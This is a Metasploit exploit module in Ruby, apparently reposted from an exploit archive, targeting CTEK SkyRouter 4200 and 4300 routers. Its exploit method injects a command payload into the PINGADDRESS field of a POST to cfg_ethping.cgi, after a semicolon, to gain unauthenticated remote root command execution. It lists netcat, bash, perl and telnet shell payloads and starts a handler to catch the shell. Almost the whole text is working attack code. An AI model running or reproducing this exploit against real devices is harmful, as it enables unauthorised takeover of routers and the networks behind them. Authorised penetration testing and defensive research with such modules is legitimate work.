CTEK SkyRouter 4200/4300 – Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution', 'Description' => %q{ This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300. }, 'Author' => [ 'savant42' ], #with module help from kos 'License' => MSF_LICENSE, 'References' => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet netcat-e bash', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Sep 8 2011', # CGI historical date :) 'DefaultTarget' => 0)) end def exploit post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26" uri = '/apps/a3/cfg_ethping.cgi' print_status("Sending HTTP request for #{uri}") res = send_request_cgi( { 'global' => true, 'uri' => uri, 'method' => "POST", 'data' => post_data }, 30) if res print_status("The server responded with HTTP CODE #{res.code}") else print_status("The server did not respond to our request") end handler end end |